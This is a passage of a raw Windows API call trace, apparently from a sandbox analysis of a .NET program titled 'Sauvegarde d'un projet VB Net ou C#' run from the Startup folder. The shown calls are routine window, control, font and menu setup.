hdc=0xb0101e5, lpString="0", c=1, psizl=0x24dab38 | out: psizl=0x24dab38) returned 1 [0221.460] DeleteObject (ho=0x240a01e0) returned 1 [0221.460] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.460] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.460] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.460] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.460] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.460] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.460] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.460] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.471] GetCurrentActCtx (in: lphActCtx=0x2bec94 | out: lphActCtx=0x2bec94*=0x0) returned 1 [0221.472] ActivateActCtx (in: hActCtx=0x5765c4, lpCookie=0x2beca4 | out: hActCtx=0x5765c4, lpCookie=0x2beca4) returned 1 [0221.472] GetCurrentActCtx (in: lphActCtx=0x2beab4 | out: lphActCtx=0x2beab4*=0x5765c4) returned 1 [0221.472] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0221.481] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x70ee0000 [0221.486] AdjustWindowRectEx (in: lpRect=0x2bea18, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x2bea18) returned 1 [0221.486] GetCursorPos (in: lpPoint=0x24dada8 | out: lpPoint=0x24dada8*(x=212, y=282)) returned 1 [0221.486] MonitorFromPoint (pt=0xd4, dwFlags=0x11a) returned 0x10001 [0221.487] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2be8f4 | out: lpmi=0x2be8f4) returned 1 [0221.487] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x2a0101e0 [0221.487] GetDeviceCaps (hdc=0x2a0101e0, index=12) returned 32 [0221.487] GetDeviceCaps (hdc=0x2a0101e0, index=14) returned 1 [0221.487] DeleteDC (hdc=0x2a0101e0) returned 1 [0221.487] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2be948 | out: lpmi=0x2be948) returned 1 [0221.487] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.487] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="Sauvegarde d'un projet VB Net ou C#", dwStyle=0x2ca0000, X=317, Y=89, nWidth=806, nHeight=681, hWndParent=0x0, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x40150 [0221.487] SetWindowLongW (hWnd=0x40150, nIndex=-4, dwNewLong=2008294877) returned 77793286 [0221.487] GetWindowLongW (hWnd=0x40150, nIndex=-4) returned 2008294877 [0221.488] SetWindowLongW (hWnd=0x40150, nIndex=-4, dwNewLong=77793486) returned 2008294877 [0221.488] GetWindowLongW (hWnd=0x40150, nIndex=-4) returned 77793486 [0221.488] GetWindowLongW (hWnd=0x40150, nIndex=-16) returned 113901568 [0221.488] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x81, wParam=0x0, lParam=0x2be548) returned 0x1 [0221.488] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x83, wParam=0x0, lParam=0x2be534) returned 0x0 [0221.490] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1, wParam=0x0, lParam=0x2be548) returned 0x0 [0221.490] GetClientRect (in: hWnd=0x40150, lpRect=0x2be280 | out: lpRect=0x2be280) returned 1 [0221.490] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be280 | out: lpRect=0x2be280) returned 1 [0221.491] SetWindowTextW (hWnd=0x40150, lpString="Sauvegarde d'un projet VB Net ou C#") returned 1 [0221.491] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xc, wParam=0x0, lParam=0x24bd7cc) returned 0x1 [0221.495] SetLayeredWindowAttributes (hwnd=0x40150, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0221.515] GetStartupInfoW (in: lpStartupInfo=0x24db12c | out: lpStartupInfo=0x24db12c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0221.515] GetParent (hWnd=0x40150) returned 0x0 [0221.515] GetStockObject (i=5) returned 0x1900015 [0221.515] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.516] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.516] RegisterClassW (lpWndClass=0x2be994) returned 0xc124 [0221.516] CoTaskMemFree (pv=0x566c08) [0221.516] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.516] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x1016c [0221.516] SetWindowLongW (hWnd=0x1016c, nIndex=-4, dwNewLong=2008294877) returned 77793526 [0221.516] GetWindowLongW (hWnd=0x1016c, nIndex=-4) returned 2008294877 [0221.516] SetWindowLongW (hWnd=0x1016c, nIndex=-4, dwNewLong=77793566) returned 2008294877 [0221.516] GetWindowLongW (hWnd=0x1016c, nIndex=-4) returned 77793566 [0221.517] GetWindowLongW (hWnd=0x1016c, nIndex=-16) returned 79691776 [0221.517] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x24, wParam=0x0, lParam=0x2be57c) returned 0x0 [0221.517] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x81, wParam=0x0, lParam=0x2be570) returned 0x1 [0221.517] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x83, wParam=0x0, lParam=0x2be55c) returned 0x0 [0221.517] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1, wParam=0x0, lParam=0x2be570) returned 0x0 [0221.517] SetWindowLongW (hWnd=0x40150, nIndex=-8, dwNewLong=65900) returned 0 [0221.518] GetSystemMetrics (nIndex=49) returned 16 [0221.518] GetSystemMetrics (nIndex=50) returned 16 [0221.518] CreateIconFromResourceEx (presbits=0x24db49c, dwResSize=0x368, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x10173 [0221.519] SendMessageW (hWnd=0x40150, Msg=0x80, wParam=0x0, lParam=0x10173) returned 0x0 [0221.519] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x80, wParam=0x0, lParam=0x10173) returned 0x0 [0221.520] SendMessageW (hWnd=0x40150, Msg=0x80, wParam=0x1, lParam=0x1016f) returned 0x0 [0221.520] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x80, wParam=0x1, lParam=0x1016f) returned 0x0 [0221.524] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x10173 [0221.669] GetSystemMenu (hWnd=0x40150, bRevert=0) returned 0x20183 [0221.669] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2beac4 | out: lpwndpl=0x2beac4) returned 1 [0221.670] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0221.670] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0221.670] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0221.670] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0221.670] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0221.670] GetClientRect (in: hWnd=0x40150, lpRect=0x2beb08 | out: lpRect=0x2beb08) returned 1 [0221.670] GetClientRect (in: hWnd=0x40150, lpRect=0x2bea68 | out: lpRect=0x2bea68) returned 1 [0221.670] GetWindowRect (in: hWnd=0x40150, lpRect=0x2bea68 | out: lpRect=0x2bea68) returned 1 [0221.670] SetWindowLongW (hWnd=0x40150, nIndex=-8, dwNewLong=65900) returned 65900 [0221.670] SendMessageW (hWnd=0x1016c, Msg=0x80, wParam=0x1, lParam=0x1016f) returned 0x0 [0221.670] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x80, wParam=0x1, lParam=0x1016f) returned 0x0 [0221.671] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48c678) returned 0x0 [0221.671] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48c690) returned 0x0 [0221.672] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.672] GetWindowLongW (hWnd=0x40150, nIndex=-16) returned 113901568 [0221.672] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0221.672] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.672] GetSystemMetrics (nIndex=42) returned 0 [0221.672] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be9d0, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.672] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be9d0) returned 0x23 [0221.673] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0221.673] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.673] GetSystemMetrics (nIndex=42) returned 0 [0221.673] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be9d0, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.673] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be9d0) returned 0x23 [0221.673] GetCursorPos (in: lpPoint=0x24dba70 | out: lpPoint=0x24dba70*(x=212, y=282)) returned 1 [0221.673] MonitorFromPoint (pt=0xd1, dwFlags=0x11d) returned 0x10001 [0221.673] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2be934 | out: lpmi=0x2be934) returned 1 [0221.673] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xc0101ce [0221.673] GetDeviceCaps (hdc=0xc0101ce, index=12) returned 32 [0221.673] GetDeviceCaps (hdc=0xc0101ce, index=14) returned 1 [0221.673] DeleteDC (hdc=0xc0101ce) returned 1 [0221.674] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2be988 | out: lpmi=0x2be988) returned 1 [0221.674] GetWindowLongW (hWnd=0x40150, nIndex=-16) returned 113901568 [0221.674] GetWindowLongW (hWnd=0x40150, nIndex=-20) returned 590080 [0221.674] SetWindowLongW (hWnd=0x40150, nIndex=-16, dwNewLong=46792704) returned 113901568 [0221.674] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x7c, wParam=0xfffffff0, lParam=0x2bea5c) returned 0x0 [0221.674] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x7d, wParam=0xfffffff0, lParam=0x2bea5c) returned 0x0 [0221.674] SetWindowLongW (hWnd=0x40150, nIndex=-20, dwNewLong=589824) returned 590080 [0221.674] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x7c, wParam=0xffffffec, lParam=0x2bea5c) returned 0x0 [0221.674] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x7d, wParam=0xffffffec, lParam=0x2bea5c) returned 0x0 [0221.675] SetWindowPos (hWnd=0x40150, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0221.675] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2bea7c) returned 0x0 [0221.675] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x83, wParam=0x1, lParam=0x2bea54) returned 0x0 [0221.676] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be82c | out: lpwndpl=0x2be82c) returned 1 [0221.676] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2bea7c) returned 0x0 [0221.676] GetClientRect (in: hWnd=0x40150, lpRect=0x2be7dc | out: lpRect=0x2be7dc) returned 1 [0221.676] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be7dc | out: lpRect=0x2be7dc) returned 1 [0221.676] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x83, wParam=0x1, lParam=0x2be660) returned 0x0 [0221.677] RedrawWindow (hWnd=0x40150, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.677] GetSystemMenu (hWnd=0x40150, bRevert=0) returned 0x20183 [0221.677] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2beab4 | out: lpwndpl=0x2beab4) returned 1 [0221.677] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0221.677] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0221.677] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0221.677] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0221.677] EnableMenuItem (hMenu=0x20183, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0221.677] ShowWindow (hWnd=0x40150, nCmdShow=5) returned 0 [0221.677] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.677] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.678] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.678] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x24dbdb8 | out: lpWndClass=0x24dbdb8) returned 1 [0221.679] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.679] CoTaskMemAlloc (cb=0x58) returned 0x55d7d0 [0221.679] RegisterClassW (lpWndClass=0x2be638) returned 0xc125 [0221.679] CoTaskMemFree (pv=0x55d7d0) [0221.679] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.679] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Arborescence du projet", dwStyle=0x5600000d, X=12, Y=213, nWidth=139, nHeight=13, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x10188 [0221.679] SetWindowLongW (hWnd=0x10188, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.680] GetWindowLongW (hWnd=0x10188, nIndex=-4) returned 1894758601 [0221.680] SetWindowLongW (hWnd=0x10188, nIndex=-4, dwNewLong=77793646) returned 1894758601 [0221.680] GetWindowLongW (hWnd=0x10188, nIndex=-4) returned 77793646 [0221.680] GetWindowLongW (hWnd=0x10188, nIndex=-16) returned 1174405133 [0221.680] GetWindowLongW (hWnd=0x10188, nIndex=-12) returned 0 [0221.680] SetWindowLongW (hWnd=0x10188, nIndex=-12, dwNewLong=65928) returned 0 [0221.680] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.680] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.680] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.681] GetWindow (hWnd=0x10188, uCmd=0x3) returned 0x0 [0221.681] GetClientRect (in: hWnd=0x10188, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.681] GetWindowRect (in: hWnd=0x10188, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.681] GetParent (hWnd=0x10188) returned 0x40150 [0221.681] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.681] SetWindowTextW (hWnd=0x10188, lpString="Arborescence du projet") returned 1 [0221.681] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xc, wParam=0x0, lParam=0x24bd738) returned 0x1 [0221.682] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x5, wParam=0x0, lParam=0xd008b) returned 0x0 [0221.682] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x3, wParam=0x0, lParam=0xd5000c) returned 0x0 [0221.682] GetClientRect (in: hWnd=0x10188, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.682] GetWindowRect (in: hWnd=0x10188, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.682] GetParent (hWnd=0x10188) returned 0x40150 [0221.682] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.682] SendMessageW (hWnd=0x10188, Msg=0x2210, wParam=0x1880001, lParam=0x10188) returned 0x0 [0221.682] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x2210, wParam=0x1880001, lParam=0x10188) returned 0x0 [0221.682] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.682] GetParent (hWnd=0x10188) returned 0x40150 [0221.682] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.682] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.682] GetClassInfoW (in: hInstance=0x0, lpClassName="LISTBOX", lpWndClass=0x24dc0f4 | out: lpWndClass=0x24dc0f4) returned 1 [0221.683] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.683] CoTaskMemAlloc (cb=0x5a) returned 0x566c08 [0221.683] RegisterClassW (lpWndClass=0x2be638) returned 0xc127 [0221.683] CoTaskMemFree (pv=0x566c08) [0221.683] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.683] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.LISTBOX.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x562100c1, X=12, Y=229, nWidth=741, nHeight=407, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x1018a [0221.683] SetWindowLongW (hWnd=0x1018a, nIndex=-4, dwNewLong=1895262649) returned 77793686 [0221.683] GetWindowLongW (hWnd=0x1018a, nIndex=-4) returned 1895262649 [0221.684] SetWindowLongW (hWnd=0x1018a, nIndex=-4, dwNewLong=77793726) returned 1895262649 [0221.684] GetWindowLongW (hWnd=0x1018a, nIndex=-4) returned 77793726 [0221.684] GetWindowLongW (hWnd=0x1018a, nIndex=-16) returned 1176568001 [0221.684] GetWindowLongW (hWnd=0x1018a, nIndex=-12) returned 0 [0221.684] SetWindowLongW (hWnd=0x1018a, nIndex=-12, dwNewLong=65930) returned 0 [0221.684] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.684] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.684] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.685] GetWindow (hWnd=0x1018a, uCmd=0x3) returned 0x10188 [0221.685] GetClientRect (in: hWnd=0x1018a, lpRect=0x2bdf20 | out: lpRect=0x2bdf20) returned 1 [0221.685] GetWindowRect (in: hWnd=0x1018a, lpRect=0x2bdf20 | out: lpRect=0x2bdf20) returned 1 [0221.685] GetParent (hWnd=0x1018a) returned 0x40150 [0221.685] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf20, cPoints=0x2 | out: lpPoints=0x2bdf20) returned -7405888 [0221.685] GetWindowTextLengthW (hWnd=0x1018a) returned 0 [0221.685] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0221.685] GetSystemMetrics (nIndex=42) returned 0 [0221.685] GetWindowTextW (in: hWnd=0x1018a, lpString=0x2bdda4, nMaxCount=1 | out: lpString="") returned 0 [0221.685] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0xd, wParam=0x1, lParam=0x2bdda4) returned 0x0 [0221.685] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0221.685] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.685] GetSystemMetrics (nIndex=42) returned 0 [0221.685] GetWindowTextW (in: hWnd=0x40150, lpString=0x2bdd8c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.685] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2bdd8c) returned 0x23 [0221.686] GetDC (hWnd=0x0) returned 0x1401007f [0221.686] GdipCreateFromHDC (hdc=0x1401007f, graphics=0x2bddec) returned 0x0 [0221.686] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.686] GdipGetLogFontW (font=0x4ad7030, graphics=0x4ad7818, logfontW=0x566c08) returned 0x0 [0221.686] CoTaskMemFree (pv=0x566c08) [0221.686] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.686] CoTaskMemFree (pv=0x566c08) [0221.686] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.686] CoTaskMemFree (pv=0x566c08) [0221.686] GdipDeleteGraphics (graphics=0x4ad7818) returned 0x0 [0221.687] ReleaseDC (hWnd=0x0, hDC=0x1401007f) returned 1 [0221.687] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.687] CreateFontIndirectW (lplf=0x566c08) returned 0x90a01cc [0221.687] CoTaskMemFree (pv=0x566c08) [0221.687] SendMessageW (hWnd=0x1018a, Msg=0x30, wParam=0x90a01cc, lParam=0x0) returned 0x0 [0221.687] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x30, wParam=0x90a01cc, lParam=0x0) returned 0x0 [0221.687] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x46, wParam=0x0, lParam=0x2bd818) returned 0x0 [0221.687] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x83, wParam=0x1, lParam=0x2bd7f0) returned 0x0 [0221.688] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x47, wParam=0x0, lParam=0x2bd818) returned 0x0 [0221.688] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x5, wParam=0x0, lParam=0x19302e1) returned 0x0 [0221.690] GetClientRect (in: hWnd=0x1018a, lpRect=0x2bd53c | out: lpRect=0x2bd53c) returned 1 [0221.690] GetWindowRect (in: hWnd=0x1018a, lpRect=0x2bd53c | out: lpRect=0x2bd53c) returned 1 [0221.690] GetParent (hWnd=0x1018a) returned 0x40150 [0221.691] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bd53c, cPoints=0x2 | out: lpPoints=0x2bd53c) returned -7405888 [0221.691] GetWindowTextLengthW (hWnd=0x1018a) returned 0 [0221.691] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0221.691] GetSystemMetrics (nIndex=42) returned 0 [0221.691] GetWindowTextW (in: hWnd=0x1018a, lpString=0x2bd3c0, nMaxCount=1 | out: lpString="") returned 0 [0221.691] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0xd, wParam=0x1, lParam=0x2bd3c0) returned 0x0 [0221.691] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0221.691] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.691] GetSystemMetrics (nIndex=42) returned 0 [0221.691] GetWindowTextW (in: hWnd=0x40150, lpString=0x2bd3a8, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.691] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2bd3a8) returned 0x23 [0221.691] GetParent (hWnd=0x1018a) returned 0x40150 [0221.691] SendMessageW (hWnd=0x1018a, Msg=0x1a1, wParam=0x0, lParam=0x0) returned 0xd [0221.691] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x1a1, wParam=0x0, lParam=0x0) returned 0xd [0221.693] SendMessageW (hWnd=0x1018a, Msg=0x1a5, wParam=0x409, lParam=0x0) returned 0x409 [0221.693] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x1a5, wParam=0x409, lParam=0x0) returned 0x409 [0221.693] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x5, wParam=0x0, lParam=0x19302e1) returned 0x0 [0221.693] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x3, wParam=0x0, lParam=0xe7000e) returned 0x0 [0221.693] GetClientRect (in: hWnd=0x1018a, lpRect=0x2bdf78 | out: lpRect=0x2bdf78) returned 1 [0221.693] GetWindowRect (in: hWnd=0x1018a, lpRect=0x2bdf78 | out: lpRect=0x2bdf78) returned 1 [0221.693] GetParent (hWnd=0x1018a) returned 0x40150 [0221.693] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf78, cPoints=0x2 | out: lpPoints=0x2bdf78) returned -7405888 [0221.693] SendMessageW (hWnd=0x1018a, Msg=0x2210, wParam=0x18a0001, lParam=0x1018a) returned 0x0 [0221.693] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x2210, wParam=0x18a0001, lParam=0x1018a) returned 0x0 [0221.693] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.693] GetParent (hWnd=0x1018a) returned 0x40150 [0221.693] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.694] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.694] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.694] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=179, nWidth=0, nHeight=13, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x1018c [0221.694] SetWindowLongW (hWnd=0x1018c, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.694] GetWindowLongW (hWnd=0x1018c, nIndex=-4) returned 1894758601 [0221.694] SetWindowLongW (hWnd=0x1018c, nIndex=-4, dwNewLong=77793766) returned 1894758601 [0221.694] GetWindowLongW (hWnd=0x1018c, nIndex=-4) returned 77793766 [0221.694] GetWindowLongW (hWnd=0x1018c, nIndex=-16) returned 1174405133 [0221.694] GetWindowLongW (hWnd=0x1018c, nIndex=-12) returned 0 [0221.695] SetWindowLongW (hWnd=0x1018c, nIndex=-12, dwNewLong=65932) returned 0 [0221.695] CallWindowProcW 